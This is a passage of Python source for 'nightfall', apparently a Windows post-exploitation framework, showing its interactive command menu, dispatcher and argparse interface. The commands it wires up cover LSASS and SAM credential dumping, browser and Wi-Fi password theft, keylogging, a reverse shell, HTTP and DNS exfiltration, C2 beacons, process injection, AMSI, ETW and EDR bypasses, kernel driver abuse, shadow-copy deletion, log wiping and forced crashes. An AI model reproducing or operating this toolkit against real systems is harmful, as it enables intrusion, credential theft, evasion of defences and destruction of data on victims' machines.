        if self._clip_c2_active:
            self.clip_c2_stop()
        self._sleep_obf_regions.clear()
        if self._veh_handle:
            k32.RemoveVectoredExceptionHandler(self._veh_handle)
            self._veh_handle = None
            self._hw_bp_targets.clear()
        if self._byovd_handle:
            self.byovd_unload()


BANNER = r"""
     _   _ _       _     _    __       _ _
    | \ | (_)     | |   | |  / _|     | | |
    |  \| |_  __ _| |__ | |_| |_ __ _| | |
    | . ` | |/ _` | '_ \| __|  _/ _` | | |
    | |\  | | (_| | | | | |_| || (_| | | |
    |_| \_|_|\__, |_| |_|\__|_| \__,_|_|_|
              __/ |                 v1.0.0
             |___/
"""


def interactive(nf):
    print(BANNER)
    cmds = """
  === OPSEC ===
    ghost                  anti-debug + anti-vm + amsi + etw + ps-log bypass
    anti-debug             check for attached debuggers
    anti-vm                detect VM/sandbox environment
    timestomp <path>       match file timestamps to svchost.exe
    ps-log-bypass          disable PS scriptblock/module/transcription logging
    artifact-wipe          clean prefetch, BAM, recent docs, jump lists, temp
    ppid-spoof <cmd>       launch process under explorer.exe parent
    loot-encrypt           XOR encrypt all staged loot files
    self-destruct          remove known artifacts and delete self

  === PRIMITIVES ===
    freeze / unfreeze      D1: signature lock
    scan-pause             D5: stop active scans
    zombie <path> [data]   D2: oplock quarantine bypass
    ntlm <ip>              D3: ntlm coercion
    watch / unwatch        D4: etw surveillance (needs admin)
    dam-add <pid>          K1: add to dam job
    dam-freeze             K2: freeze session
    dam-unfreeze           K2: unfreeze
    bsod                   K3: kernel panic
    harvest                K4: process scan (one-shot)
    harvest-start [sec]    K4: continuous polling
    harvest-stop           K4: stop polling
    wer-stage              W1: stage wer report
    wer-fire               W2: trigger processing
    wnf                    N1: system task trigger

  === ESCALATION ===
    elevate [cmd]          E1: uac bypass -> high il
    system [cmd]           admin -> SYSTEM via token theft
    impersonate <pid>      steal and impersonate process token
    revert                 revert to original token

  === EVASION ===
    amsi-bypass            patch AmsiScanBuffer (byte mod, detectable)
    amsi-hw                hardware breakpoint on AmsiScanBuffer (stealth)
    etw-blind              patch EtwEventWrite (byte mod)
    etw-hw                 hardware breakpoint on EtwEventWrite (stealth)
    unhook                 restore ntdll .text from disk (bypass EDR hooks)
    syscall <func>         resolve SSN + build indirect syscall stub

  === CREDENTIAL HARVESTING ===
    sam-dump [dir]         dump SAM/SECURITY/SYSTEM hives
    lsass-dump [path]      MiniDumpWriteDump on lsass.exe
    browser-creds          extract Chrome/Edge/Brave saved passwords
    reg-creds              extract PuTTY/RDP/WinSCP/cmdkey credentials
    wifi-creds             dump saved wifi passwords

  === PERSISTENCE ===
    persist [cmd]          Run key persistence
    persist-task [cmd]     scheduled task persistence
    persist-remove         remove Run key
    persist-task-remove    remove scheduled task
    persist-timeprov <dll> [name]  W32Time provider DLL (SYSTEM at boot)
    persist-timeprov-rm [name]     remove time provider
    persist-wer <dll>      WER exception handler (loads on any crash)
    persist-wer-rm <dll>   remove WER handler
    persist-ssp <dll> [name]  LSA security package (lsass, cred capture)
    persist-ssp-rm <name>  remove SSP from Security Packages

  === INJECTION ===
    inject <pid> <file>    CRT injection (classic, signatured)
    inject-apc <pid> <f>   QueueUserAPC injection
    earlybird <cmd> <f>    CREATE_SUSPENDED + APC (pre-hook injection)
    hijack <pid> <file>    thread hijack (modify RIP)
    stomp <pid> <f> [dll]  module stomping (DLL-backed memory)

  === KEYLOGGING ===
    keylog [path]          start low-level keyboard hook
    keylog-stop            stop keylogger

  === RECON & INTEL ===
    recon                  environment reconnaissance
    net-discover           network discovery
    overwatch [mode]       threat detection (alert/blackout/scorched)
    overwatch-stop         disable threat detection

  === DATA COLLECTION ===
    screenshot [path]      capture desktop screenshot
    clipboard              get clipboard content
    clip-monitor           monitor clipboard changes
    file-search [dir]      search for sensitive files
    file-collect <paths>   collect files to staging dir

  === COMMS ===
    reverse-shell <h> <p>  XOR-encrypted connect-back shell
    beacon <url> [sec]     HTTPS C2 beacon (WinHTTP)
    beacon-stop            stop beaconing
    exfil-http <url>       compress + encrypt + POST loot directory
    exfil-dns <domain>     exfil loot via DNS queries (slow, stealthy)

  === LATERAL MOVEMENT ===
    scm-exec <tgt> <cmd>   create+start remote service
    wmi-exec <tgt> <cmd>   WMI process create
    winrm-exec <tgt> <cmd> Invoke-Command via WinRM

  === KERNEL (BYOVD) ===
    byovd-load <path>      load vulnerable signed driver (RTCore64.sys)
    byovd-unload           stop + delete driver service
    hide [pid]             DKOM: unlink process from EPROCESS list
    etw-ti                 zero ETW Threat Intelligence provider reg handle
    cb-nuke                remove all EDR kernel callbacks
    callbacks              enumerate kernel notification callbacks

  === PROCESS MASQUERADE ===
    hollow <exe> <payload>  replace process image (runs as legit process)
    peb <name> [cmdline]   change PEB image path + command line

  === PIPE C2 ===
    pipe-listen [name]     start named pipe C2 server
    pipe-stop              stop pipe listener
    pipe <target> [name] <cmd>  connect to remote pipe C2

  === WNF C2 ===
    wnf-listen [state]    kernel state-based C2 (local, no network)
    wnf-stop              stop WNF C2 listener
    wnf-send [state] <cmd>  send command via WNF state channel

  === ADVANCED EVASION ===
    doppelgang <payload> [name]  TxF process doppelganging (rolled-back transaction)
    timer-exec <shellcode>  fire shellcode as timer callback (no thread creation)
    inst-cb [shellcode]   install instrumentation callback (intercept all syscalls)
    inst-cb-remove        remove instrumentation callback
    handle-hide [pid]     DKOM: zero process handle table entries
    mft-stomp <path> [ref]  raw NTFS $MFT timestamp manipulation

  === PROJFS ===
    projfs [root] [clean] [payload]  start projected filesystem (scaffold)
    projfs-stop            stop ProjFS provider

  === KERNEL POOL ===
    kpool-write <data>     write data to kernel pool dead drop
    kpool-read [addr]      read from kernel pool address
    kpool-post <cmd>       post command to kernel pool C2
    kpool-fetch [addr]     fetch response from kernel pool

  === MINIFILTER ===
    flt-enum               enumerate filesystem minifilters
    flt-blind [name]       zero EDR minifilter callbacks

  === CLIPBOARD C2 ===
    clip-listen            start clipboard cloud C2 listener
    clip-stop              stop clipboard C2
    clip-send <cmd>        send command via clipboard channel

  === SLEEP OBFUSCATION ===
    sleep-obf <addr> <size> [sec] [key]  encrypt memory region during sleep
    sleep-obf-sc <file> [sec]     load shellcode + auto sleep-obfuscate

  === ETHREAD DKOM ===
    thread-hide [pid] [tid]  unlink thread from kernel thread list (BYOVD)

  === ANTI-FORENSICS ===
    evtlog-clear           wipe event logs
    shadow-delete          delete all shadow copies
    defender-exclude [p]   add Defender exclusions
    defender-status        show Defender config
    defender-disable       disable real-time protection
    firewall-allow <args>  add firewall allow rule
    firewall-disable       disable Windows Firewall
    firewall-enable        re-enable firewall

  === CHAINS ===
    panopticon             phase 1: full intelligence suite
    eclipse                phase 2: sig freeze + scan pause
    lazarus <path> [data]  phase 3: zombie deploy
    blackout               phase 6: infra disruption
    restore                undo blackout
    scorched               phase 7: bsod

  === VALIDATION ===
    validate [ID]          regression test all primitives (or one)
    rollback               undo tracked modifications
    env                    show detected environment
    status                 show state
    cleanup                release handles
    quit                   exit
"""
    print(cmds)

    while True:
        try:
            line = input("nf> ").strip()
        except (EOFError, KeyboardInterrupt):
            print()
            nf.cleanup()
            break

        if not line:
            continue

        parts = line.split()
        cmd = parts[0].lower()

        try:
            if cmd in ("quit", "exit", "q"):
                nf.cleanup()
                break
            elif cmd == "freeze":
                nf.sig_freeze()
            elif cmd == "unfreeze":
                nf.sig_unfreeze()
            elif cmd == "zombie":
                if len(parts) < 2:
                    print("usage: zombie <path> [data_file]")
                else:
                    nf.zombie(parts[1], parts[2] if len(parts) > 2 else None)
            elif cmd == "ntlm":
                if len(parts) < 2:
                    print("usage: ntlm <ip>")
                else:
                    nf.ntlm(parts[1])
            elif cmd == "watch":
                nf.watch_start()
            elif cmd == "unwatch":
                nf.watch_stop()
            elif cmd in ("dam-add", "add"):
                if len(parts) < 2:
                    print("usage: dam-add <pid>")
                else:
                    nf.dam_add(int(parts[1]))
            elif cmd == "dam-freeze":
                nf.dam_freeze()
            elif cmd in ("dam-unfreeze", "restore"):
                nf.dam_unfreeze()
            elif cmd == "bsod":
                nf.scorched()
            elif cmd == "harvest":
                nf.harvest()
            elif cmd in ("wer-stage", "wer"):
                nf.wer_stage()
            elif cmd in ("wer-fire", "fire"):
                nf.wer_fire()
            elif cmd == "wnf":
                nf.wnf_trigger()
            elif cmd == "scan-pause":
                nf.scan_pause()
            elif cmd == "harvest-start":
                iv = int(parts[1]) if len(parts) > 1 else 30
                nf.harvest_start(interval=iv)
            elif cmd == "harvest-stop":
                nf.harvest_stop()
            elif cmd == "elevate":
                run_cmd = " ".join(parts[1:]) if len(parts) > 1 else None
                nf.elevate(run_cmd)
            elif cmd == "system":
                run_cmd = " ".join(parts[1:]) if len(parts) > 1 else None
                nf.system(run_cmd)
            elif cmd in ("amsi-bypass", "amsi"):
                nf.amsi_bypass()
            elif cmd in ("amsi-hw", "amsihw"):
                nf.amsi_bypass_hw()
            elif cmd in ("etw-blind", "blind"):
                nf.etw_blind()
            elif cmd in ("etw-hw", "etwhw"):
                nf.etw_blind_hw()
            elif cmd == "unhook":
                nf.unhook_ntdll()
            elif cmd == "syscall":
                if len(parts) < 2:
                    print("usage: syscall <NtFunction>")
                else:
                    nf.syscall_info(parts[1])
            elif cmd in ("sam-dump", "dump"):
                out = parts[1] if len(parts) > 1 else None
                nf.sam_dump(out)
            elif cmd in ("lsass-dump", "lsass"):
                out = parts[1] if len(parts) > 1 else None
                nf.lsass_dump(out)
            elif cmd == "persist":
                run_cmd = " ".join(parts[1:]) if len(parts) > 1 else None
                nf.persist_runkey(command=run_cmd)
            elif cmd == "persist-task":
                run_cmd = " ".join(parts[1:]) if len(parts) > 1 else None
                nf.persist_task(command=run_cmd)
            elif cmd == "persist-remove":
                nf.persist_remove()
            elif cmd == "persist-task-remove":
                nf.persist_task_remove()
            elif cmd in ("persist-timeprov", "ptimeprov"):
                if len(parts) < 2:
                    print("usage: persist-timeprov <dll_path> [name]")
                else:
                    name = parts[2] if len(parts) > 2 else "W32TimeSync"
                    nf.persist_timeprov(parts[1], name)
            elif cmd in ("persist-timeprov-rm", "ptimeprovrm"):
                name = parts[1] if len(parts) > 1 else "W32TimeSync"
                nf.persist_timeprov_remove(name)
            elif cmd in ("persist-wer", "pwer"):
                if len(parts) < 2:
                    print("usage: persist-wer <dll_path>")
                else:
                    nf.persist_wer(parts[1])
            elif cmd in ("persist-wer-rm", "pwerrm"):
                if len(parts) < 2:
                    print("usage: persist-wer-rm <dll_path>")
                else:
                    nf.persist_wer_remove(parts[1])
            elif cmd in ("persist-ssp", "pssp"):
                if len(parts) < 2:
                    print("usage: persist-ssp <dll_path> [name]")
                else:
                    name = parts[2] if len(parts) > 2 else None
                    nf.persist_ssp(parts[1], name)
            elif cmd in ("persist-ssp-rm", "pssprm"):
                if len(parts) < 2:
                    print("usage: persist-ssp-rm <name>")
                else:
                    nf.persist_ssp_remove(parts[1])
            elif cmd in ("sleep-obf", "sobf"):
                if len(parts) < 3:
                    print("usage: sleep-obf <addr_hex> <size> [duration] [key]")
                else:
                    addr = int(parts[1], 0)
                    size = int(parts[2])
                    dur = int(parts[3]) if len(parts) > 3 else 5
                    key = int(parts[4], 0) if len(parts) > 4 else None
                    nf.sleep_obfuscate(addr, size, dur, key)
            elif cmd in ("sleep-obf-sc", "sobfsc"):
                if len(parts) < 2:
                    print("usage: sleep-obf-sc <shellcode_file> [duration]")
                else:
                    dur = int(parts[2]) if len(parts) > 2 else 10
                    nf.sleep_obf_region(parts[1], dur)
            elif cmd in ("thread-hide", "thide"):
                pid = int(parts[1]) if len(parts) > 1 else None
                tid = int(parts[2]) if len(parts) > 2 else None
                nf.thread_hide(pid, tid)
            elif cmd == "recon":
                nf.env_recon()
            elif cmd in ("net-discover", "netdisc"):
                nf.net_discover()
            elif cmd in ("evtlog-clear", "evtclear"):
                nf.evtlog_clear()
            elif cmd in ("defender-exclude", "exclude"):
                arg = " ".join(parts[1:]) if len(parts) > 1 else None
                if arg:
                    nf.defender_exclude(path=arg)
                else:
                    nf.defender_exclude()
            elif cmd in ("defender-status", "defstatus"):
                nf.defender_status()
            elif cmd in ("defender-disable", "defdisable"):
                nf.defender_disable_rtp()
            elif cmd in ("firewall-allow", "fw-allow"):
                if len(parts) < 2:
                    print("usage: firewall-allow <port|program>")
                else:
                    arg = parts[1]
                    if arg.isdigit():
                        nf.firewall_allow(port=int(arg))
                    else:
                        nf.firewall_allow(program=arg)
            elif cmd in ("firewall-disable", "fw-off"):
                nf.firewall_disable()
            elif cmd in ("firewall-enable", "fw-on"):
                nf.firewall_enable()
            elif cmd in ("shadow-delete", "shadow"):
                nf.shadow_delete()
            elif cmd in ("wifi-creds", "wifi"):
                nf.wifi_creds()
            elif cmd in ("screenshot", "ss"):
                out = parts[1] if len(parts) > 1 else None
                nf.screenshot(out)
            elif cmd in ("clipboard", "clip"):
                nf.clipboard_get()
            elif cmd in ("clip-monitor", "clipmon"):
                nf.clipboard_monitor()
            elif cmd in ("file-search", "fsearch"):
                root = parts[1] if len(parts) > 1 else None
                nf.file_search(root)
            elif cmd in ("file-collect", "fcollect"):
                if len(parts) < 2:
                    print("usage: file-collect <path1> [path2] ...")
                else:
                    nf.file_collect(parts[1:])
            elif cmd == "ghost":
                nf.ghost()
            elif cmd in ("anti-debug", "adb"):
                if nf.anti_debug():
                    print("[!] debugger detected")
                else:
                    print("[+] no debugger")
            elif cmd in ("anti-vm", "avm"):
                nf.anti_vm()
            elif cmd == "timestomp":
                if len(parts) < 2:
                    print("usage: timestomp <path> [ref_path]")
                else:
                    ref = parts[2] if len(parts) > 2 else None
                    nf.timestomp(parts[1], ref)
            elif cmd in ("ps-log-bypass", "pslog"):
                nf.ps_log_bypass()
            elif cmd in ("artifact-wipe", "artwipe"):
                nf.artifact_wipe()
            elif cmd in ("ppid-spoof", "ppid"):
                if len(parts) < 2:
                    print("usage: ppid-spoof <cmd> [parent]")
                else:
                    run_cmd = " ".join(parts[1:])
                    nf.ppid_spoof(run_cmd)
            elif cmd in ("loot-encrypt", "lootenc"):
                nf.loot_encrypt()
            elif cmd in ("self-destruct", "nuke"):
                nf.self_destruct()
            elif cmd in ("inject", "inj"):
                if len(parts) < 3:
                    print("usage: inject <pid> <shellcode_file>")
                else:
                    nf.inject(int(parts[1]), parts[2])
            elif cmd in ("inject-apc", "iapc"):
                if len(parts) < 3:
                    print("usage: inject-apc <pid> <shellcode_file>")
                else:
                    nf.inject_apc(int(parts[1]), parts[2])
            elif cmd == "earlybird":
                if len(parts) < 3:
                    print("usage: earlybird <cmd> <shellcode_file>")
                else:
                    nf.inject_earlybird(parts[1], parts[2])
            elif cmd == "hijack":
                if len(parts) < 3:
                    print("usage: hijack <pid> <shellcode_file>")
                else:
                    nf.inject_threadhijack(int(parts[1]), parts[2])
            elif cmd == "stomp":
                if len(parts) < 3:
                    print("usage: stomp <pid> <shellcode_file> [dll_name]")
                else:
                    dll = parts[3] if len(parts) > 3 else "amsi.dll"
                    nf.inject_stomp(int(parts[1]), parts[2], dll)
            elif cmd in ("byovd-load", "byovd"):
                if len(parts) < 2:
                    print("usage: byovd-load <driver_path>")
                else:
                    nf.byovd_load(parts[1])
            elif cmd == "byovd-unload":
                nf.byovd_unload()
            elif cmd == "hide":
                pid = int(parts[1]) if len(parts) > 1 else None
                nf.process_hide(pid)
            elif cmd == "callbacks":
                nf.callback_list()
            elif cmd in ("etw-ti", "etwti"):
                nf.etw_ti_disable()
            elif cmd in ("cb-nuke", "cbnuke"):
                nf.callback_nuke()
            elif cmd == "hollow":
                if len(parts) < 3:
                    print("usage: hollow <target_exe> <payload_pe>")
                else:
                    nf.process_hollow(parts[1], parts[2])
            elif cmd == "peb":
                if len(parts) < 2:
                    print("usage: peb <fake_name> [cmdline]")
                else:
                    cmdline = " ".join(parts[2:]) if len(parts) > 2 else None
                    nf.peb_masquerade(parts[1], cmdline)
            elif cmd in ("pipe-listen", "plisten"):
                name = parts[1] if len(parts) > 1 else r"\\.\pipe\spoolss_x"
                nf.pipe_listen(name)
            elif cmd in ("pipe-stop", "pstop"):
                nf.pipe_stop()
            elif cmd in ("pipe", "pconnect"):
                if len(parts) < 3:
                    print("usage: pipe <target> [pipe_name] <cmd>")
                else:
                    if len(parts) == 3:
                        nf.pipe_connect(parts[1], cmd=parts[2])
                    else:
                        nf.pipe_connect(parts[1], parts[2], " ".join(parts[3:]))
            elif cmd in ("wnf-listen", "wnflisten"):
                state = int(parts[1], 0) if len(parts) > 1 else None
                nf.wnf_c2_listen(state)
            elif cmd in ("wnf-stop", "wnfstop"):
                nf.wnf_c2_stop()
            elif cmd in ("wnf-send", "wnfsend"):
                if len(parts) < 2:
                    print("usage: wnf-send [state_hex] <cmd>")
                elif len(parts) == 2:
                    nf.wnf_c2_send(cmd=parts[1])
                else:
                    try:
                        state = int(parts[1], 0)
                        nf.wnf_c2_send(state, " ".join(parts[2:]))
                    except ValueError:
                        nf.wnf_c2_send(cmd=" ".join(parts[1:]))
            elif cmd == "doppelgang":
                if len(parts) < 2:
                    print("usage: doppelgang <payload_pe> [target_name]")
                else:
                    tgt = parts[2] if len(parts) > 2 else "svchost.exe"
                    nf.process_doppelgang(parts[1], tgt)
            elif cmd in ("timer-exec", "timer"):
                if len(parts) < 2:
                    print("usage: timer-exec <shellcode_file>")
                else:
                    nf.timer_exec(parts[1])
            elif cmd in ("inst-cb", "instcb"):
                sc = parts[1] if len(parts) > 1 else None
                nf.instrumentation_cb(sc)
            elif cmd in ("inst-cb-remove", "instcbr"):
                nf.instrumentation_cb_remove()
            elif cmd in ("handle-hide", "hhide"):
                pid = int(parts[1]) if len(parts) > 1 else None
                nf.handle_hide(pid)
            elif cmd in ("mft-stomp", "mftstomp"):
                if len(parts) < 2:
                    print("usage: mft-stomp <path> [ref_path]")
                else:
                    ref = parts[2] if len(parts) > 2 else None
                    nf.mft_timestomp(parts[1], ref)
            elif cmd in ("projfs", "quantum"):
                root = parts[1] if len(parts) > 1 else None
                clean = parts[2] if len(parts) > 2 else None
                payload = parts[3] if len(parts) > 3 else None
                nf.projfs_start(root, clean, payload)
            elif cmd in ("projfs-stop", "qstop"):
                nf.projfs_stop()
            elif cmd in ("kpool-write", "kpw"):
                if len(parts) < 2:
                    print("usage: kpool-write <data_or_file>")
                else:
                    arg = " ".join(parts[1:])
                    if os.path.isfile(arg):
                        with open(arg, 'rb') as f:
                            nf.kpool_write(f.read())
                    else:
                        nf.kpool_write(arg.encode('utf-8'))
            elif cmd in ("kpool-read", "kpr"):
                addr = int(parts[1], 0) if len(parts) > 1 else None
                sz = int(parts[2]) if len(parts) > 2 else 256
                data = nf.kpool_read(addr, sz)
                if data:
                    print(f"    {data.decode('utf-8', errors='replace')}")
            elif cmd in ("kpool-post", "kpp"):
                if len(parts) < 2:
                    print("usage: kpool-post <cmd>")
                else:
                    nf.kpool_c2_post(" ".join(parts[1:]))
            elif cmd in ("kpool-fetch", "kpf"):
                addr = int(parts[1], 0) if len(parts) > 1 else None
                nf.kpool_c2_fetch(addr)
            elif cmd in ("flt-enum", "fltenum"):
                nf.minifilter_enum()
            elif cmd in ("flt-blind", "fltblind"):
                name = parts[1] if len(parts) > 1 else None
                nf.minifilter_blind(name)
            elif cmd in ("clip-listen", "clisten"):
                nf.clip_c2_listen()
            elif cmd in ("clip-stop", "cstop"):
                nf.clip_c2_stop()
            elif cmd in ("clip-send", "csend"):
                if len(parts) < 2:
                    print("usage: clip-send <cmd>")
                else:
                    nf.clip_c2_send(" ".join(parts[1:]))
            elif cmd == "keylog":
                out = parts[1] if len(parts) > 1 else None
                nf.keylog_start(out)
            elif cmd == "keylog-stop":
                nf.keylog_stop()
            elif cmd in ("browser-creds", "bcreds"):
                nf.browser_creds()
            elif cmd in ("reg-creds", "rcreds"):
                nf.reg_creds()
            elif cmd in ("impersonate", "imp"):
                if len(parts) < 2:
                    print("usage: impersonate <pid>")
                else:
                    nf.token_impersonate(int(parts[1]))
            elif cmd == "revert":
                nf.revert_self()
            elif cmd in ("reverse-shell", "revshell"):
                if len(parts) < 3:
                    print("usage: reverse-shell <host> <port>")
                else:
                    nf.reverse_shell(parts[1], parts[2])
            elif cmd in ("exfil-http", "exhttp"):
                if len(parts) < 2:
                    print("usage: exfil-http <url>")
                else:
                    nf.exfil_http(parts[1])
            elif cmd in ("exfil-dns", "exdns"):
                if len(parts) < 2:
                    print("usage: exfil-dns <domain>")
                else:
                    nf.exfil_dns(parts[1])
            elif cmd == "beacon":
                if len(parts) < 2:
                    print("usage: beacon <url> [interval_sec]")
                else:
                    iv = int(parts[2]) if len(parts) > 2 else 60
                    nf.beacon_start(parts[1], iv)
            elif cmd == "beacon-stop":
                nf.beacon_stop()
            elif cmd in ("scm-exec", "scm"):
                if len(parts) < 3:
                    print("usage: scm-exec <target> <cmd>")
                else:
                    nf.scm_exec(parts[1], " ".join(parts[2:]))
            elif cmd in ("wmi-exec", "wmi"):
                if len(parts) < 3:
                    print("usage: wmi-exec <target> <cmd>")
                else:
                    nf.wmi_exec(parts[1], " ".join(parts[2:]))
            elif cmd in ("winrm-exec", "winrm"):
                if len(parts) < 3:
                    print("usage: winrm-exec <target> <cmd>")
                else:
                    nf.winrm_exec(parts[1], " ".join(parts[2:]))
            elif cmd == "overwatch":
                mode = parts[1] if len(parts) > 1 else "alert"
                nf.overwatch_start(action=mode)
            elif cmd == "overwatch-stop":
                nf.overwatch_stop()
            elif cmd == "panopticon":
                nf.panopticon()
            elif cmd == "eclipse":
                nf.eclipse()
            elif cmd == "lazarus":
                if len(parts) < 2:
                    print("usage: lazarus <path> [data_file]")
                else:
                    nf.lazarus(parts[1],
                               parts[2] if len(parts) > 2 else None)
            elif cmd == "blackout":
                nf.blackout()
            elif cmd == "scorched":
                nf.scorched()
            elif cmd == "validate":
                target = parts[1] if len(parts) > 1 else None
                nf.validate(target)
            elif cmd == "rollback":
                nf.rollback()
            elif cmd == "env":
                env = nf.detect_env()
                for k, v in env.items():
                    print(f"  {k}: {v}")
            elif cmd == "status":
                nf.status()
            elif cmd == "cleanup":
                nf.cleanup()
            elif cmd == "help":
                print(cmds)
            else:
                print(f"[-] unknown: {cmd}")
        except Exception as e:
            print(f"[-] error: {e}")


def main():
    p = argparse.ArgumentParser(
        prog="nightfall",
        description="windows security research framework",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=BANNER)

    sub = p.add_subparsers(dest="cmd")

    sub.add_parser("freeze")
    sub.add_parser("unfreeze")

    z = sub.add_parser("zombie")
    z.add_argument("path")
    z.add_argument("--data")

    n = sub.add_parser("ntlm")
    n.add_argument("ip")

    sub.add_parser("watch")
    sub.add_parser("unwatch")

    da = sub.add_parser("dam-add")
    da.add_argument("pid", type=int)
    sub.add_parser("dam-freeze")
    sub.add_parser("dam-unfreeze")
    sub.add_parser("bsod")

    sub.add_parser("harvest")
    hs = sub.add_parser("harvest-start")
    hs.add_argument("--interval", type=int, default=30)
    sub.add_parser("harvest-stop")
    sub.add_parser("scan-pause")

    sub.add_parser("wer-stage")
    sub.add_parser("wer-fire")
    sub.add_parser("wnf")

    ow = sub.add_parser("overwatch")
    ow.add_argument("--mode", default="alert", choices=["alert", "blackout", "scorched"])
    sub.add_parser("overwatch-stop")

    sub.add_parser("panopticon")
    sub.add_parser("eclipse")

    lz = sub.add_parser("lazarus")
    lz.add_argument("path")
    lz.add_argument("--data")

    hv = sub.add_parser("run-harvest")
    hv.add_argument("ip")

    sub.add_parser("blackout")
    sub.add_parser("restore")
    sub.add_parser("scorched")

    ev = sub.add_parser("elevate")
    ev.add_argument("--run", default=None)

    sy = sub.add_parser("system")
    sy.add_argument("--run", default=None)

    sub.add_parser("amsi-bypass")
    sub.add_parser("amsi-hw")
    sub.add_parser("etw-blind")
    sub.add_parser("etw-hw")
    sub.add_parser("unhook")

    sy2 = sub.add_parser("syscall")
    sy2.add_argument("--func", required=True)

    sd = sub.add_parser("sam-dump")
    sd.add_argument("--out", default=None)

    ld = sub.add_parser("lsass-dump")
    ld.add_argument("--out", default=None)

    pe = sub.add_parser("persist")
    pe.add_argument("--run", default=None)
    sub.add_parser("persist-remove")

    pt = sub.add_parser("persist-task")
    pt.add_argument("--run", default=None)
    sub.add_parser("persist-task-remove")

    sub.add_parser("recon")
    sub.add_parser("net-discover")
    sub.add_parser("evtlog-clear")

    dx = sub.add_parser("defender-exclude")
    dx.add_argument("--path", default=None)
    dx.add_argument("--process", default=None)
    sub.add_parser("defender-status")
    sub.add_parser("defender-disable")

    fw = sub.add_parser("firewall-allow")
    fw.add_argument("--port", type=int, default=None)
    fw.add_argument("--program", default=None)
    sub.add_parser("firewall-disable")
    sub.add_parser("firewall-enable")

    sub.add_parser("shadow-delete")
    sub.add_parser("wifi-creds")

    ss = sub.add_parser("screenshot")
    ss.add_argument("--out", default=None)
    sub.add_parser("clipboard")
    sub.add_parser("clip-monitor")
    fs = sub.add_parser("file-search")
    fs.add_argument("--root", default=None)
    fc = sub.add_parser("file-collect")
    fc.add_argument("paths", nargs="+")

    sub.add_parser("ghost")
    sub.add_parser("anti-debug")
    sub.add_parser("anti-vm")

    ts = sub.add_parser("timestomp")
    ts.add_argument("--path", required=True)
    ts.add_argument("--ref", default=None)

    sub.add_parser("ps-log-bypass")
    sub.add_parser("artifact-wipe")

    pp = sub.add_parser("ppid-spoof")
    pp.add_argument("--run", required=True)
    pp.add_argument("--parent", default="explorer.exe")

    sub.add_parser("loot-encrypt")
    sub.add_parser("self-destruct")

    ij = sub.add_parser("inject")
    ij.add_argument("--pid", type=int, required=True)
    ij.add_argument("--shellcode", required=True)

    ia = sub.add_parser("inject-apc")
    ia.add_argument("--pid", type=int, required=True)
    ia.add_argument("--shellcode", required=True)

    eb = sub.add_parser("earlybird")
    eb.add_argument("--run", required=True)
    eb.add_argument("--shellcode", required=True)

    hj = sub.add_parser("hijack")
    hj.add_argument("--pid", type=int, required=True)
    hj.add_argument("--shellcode", required=True)

    ms = sub.add_parser("stomp")
    ms.add_argument("--pid", type=int, required=True)
    ms.add_argument("--shellcode", required=True)
    ms.add_argument("--dll", default="amsi.dll")

    bv = sub.add_parser("byovd-load")
    bv.add_argument("--driver", required=True)
    sub.add_parser("byovd-unload")

    hi = sub.add_parser("hide")
    hi.add_argument("--pid", type=int, default=None)
    sub.add_parser("callbacks")
    sub.add_parser("etw-ti")
    sub.add_parser("cb-nuke")

    ho = sub.add_parser("hollow")
    ho.add_argument("--exe", required=True)
    ho.add_argument("--payload", required=True)

    pb = sub.add_parser("peb")
    pb.add_argument("--name", default="svchost.exe")
    pb.add_argument("--cmdline", default=None)

    pl = sub.add_parser("pipe-listen")
    pl.add_argument("--name", default=r"\\.\pipe\spoolss_x")
    sub.add_parser("pipe-stop")

    pc = sub.add_parser("pipe-connect")
    pc.add_argument("--target", required=True)
    pc.add_argument("--name", default="spoolss_x")
    pc.add_argument("--run", required=True)

    wl = sub.add_parser("wnf-listen")
    wl.add_argument("--state", type=lambda x: int(x, 0), default=None)
    sub.add_parser("wnf-stop")
    ws = sub.add_parser("wnf-send")
    ws.add_argument("--state", type=lambda x: int(x, 0), default=None)
    ws.add_argument("--run", required=True)

    dp = sub.add_parser("doppelgang")
    dp.add_argument("--payload", required=True)
    dp.add_argument("--name", default="svchost.exe")

    te = sub.add_parser("timer-exec")
    te.add_argument("--shellcode", required=True)

    ic = sub.add_parser("inst-cb")
    ic.add_argument("--shellcode", default=None)
    sub.add_parser("inst-cb-remove")

    hh = sub.add_parser("handle-hide")
    hh.add_argument("--pid", type=int, default=None)

    mf = sub.add_parser("mft-stomp")
    mf.add_argument("--path", required=True)
    mf.add_argument("--ref", default=None)

    pf = sub.add_parser("projfs")
    pf.add_argument("--root", default=None)
    pf.add_argument("--clean", default=None)
    pf.add_argument("--payload", default=None)
    sub.add_parser("projfs-stop")

    kpw = sub.add_parser("kpool-write")
    kpw.add_argument("--data", required=True)
    kpr = sub.add_parser("kpool-read")
    kpr.add_argument("--addr", type=lambda x: int(x, 0), default=None)
    kpr.add_argument("--size", type=int, default=256)
    kpp = sub.add_parser("kpool-post")
    kpp.add_argument("--run", required=True)
    kpf = sub.add_parser("kpool-fetch")
    kpf.add_argument("--addr", type=lambda x: int(x, 0), default=None)

    sub.add_parser("flt-enum")
    fb = sub.add_parser("flt-blind")
    fb.add_argument("--name", default=None)

    tp = sub.add_parser("persist-timeprov")
    tp.add_argument("--dll", required=True)
    tp.add_argument("--name", default="W32TimeSync")
    tpr = sub.add_parser("persist-timeprov-rm")
    tpr.add_argument("--name", default="W32TimeSync")

    pw = sub.add_parser("persist-wer")
    pw.add_argument("--dll", required=True)
    pwr = sub.add_parser("persist-wer-rm")
    pwr.add_argument("--dll", required=True)

    sp = sub.add_parser("persist-ssp")
    sp.add_argument("--dll", required=True)
    sp.add_argument("--name", default=None)
    spr = sub.add_parser("persist-ssp-rm")
    spr.add_argument("--name", required=True)

    so = sub.add_parser("sleep-obf")
    so.add_argument("--addr", type=lambda x: int(x, 0), required=True)
    so.add_argument("--size", type=int, required=True)
    so.add_argument("--duration", type=int, default=5)
    so.add_argument("--key", type=lambda x: int(x, 0), default=None)
    sosc = sub.add_parser("sleep-obf-sc")
    sosc.add_argument("--shellcode", required=True)
    sosc.add_argument("--duration", type=int, default=10)

    th = sub.add_parser("thread-hide")
    th.add_argument("--pid", type=int, default=None)
    th.add_argument("--tid", type=int, default=None)

    sub.add_parser("clip-listen")
    sub.add_parser("clip-stop")
    cs = sub.add_parser("clip-send")
    cs.add_argument("--run", required=True)

    kl = sub.add_parser("keylog")
    kl.add_argument("--out", default=None)
    sub.add_parser("keylog-stop")

    sub.add_parser("browser-creds")
    sub.add_parser("reg-creds")

    im = sub.add_parser("impersonate")
    im.add_argument("--pid", type=int, required=True)
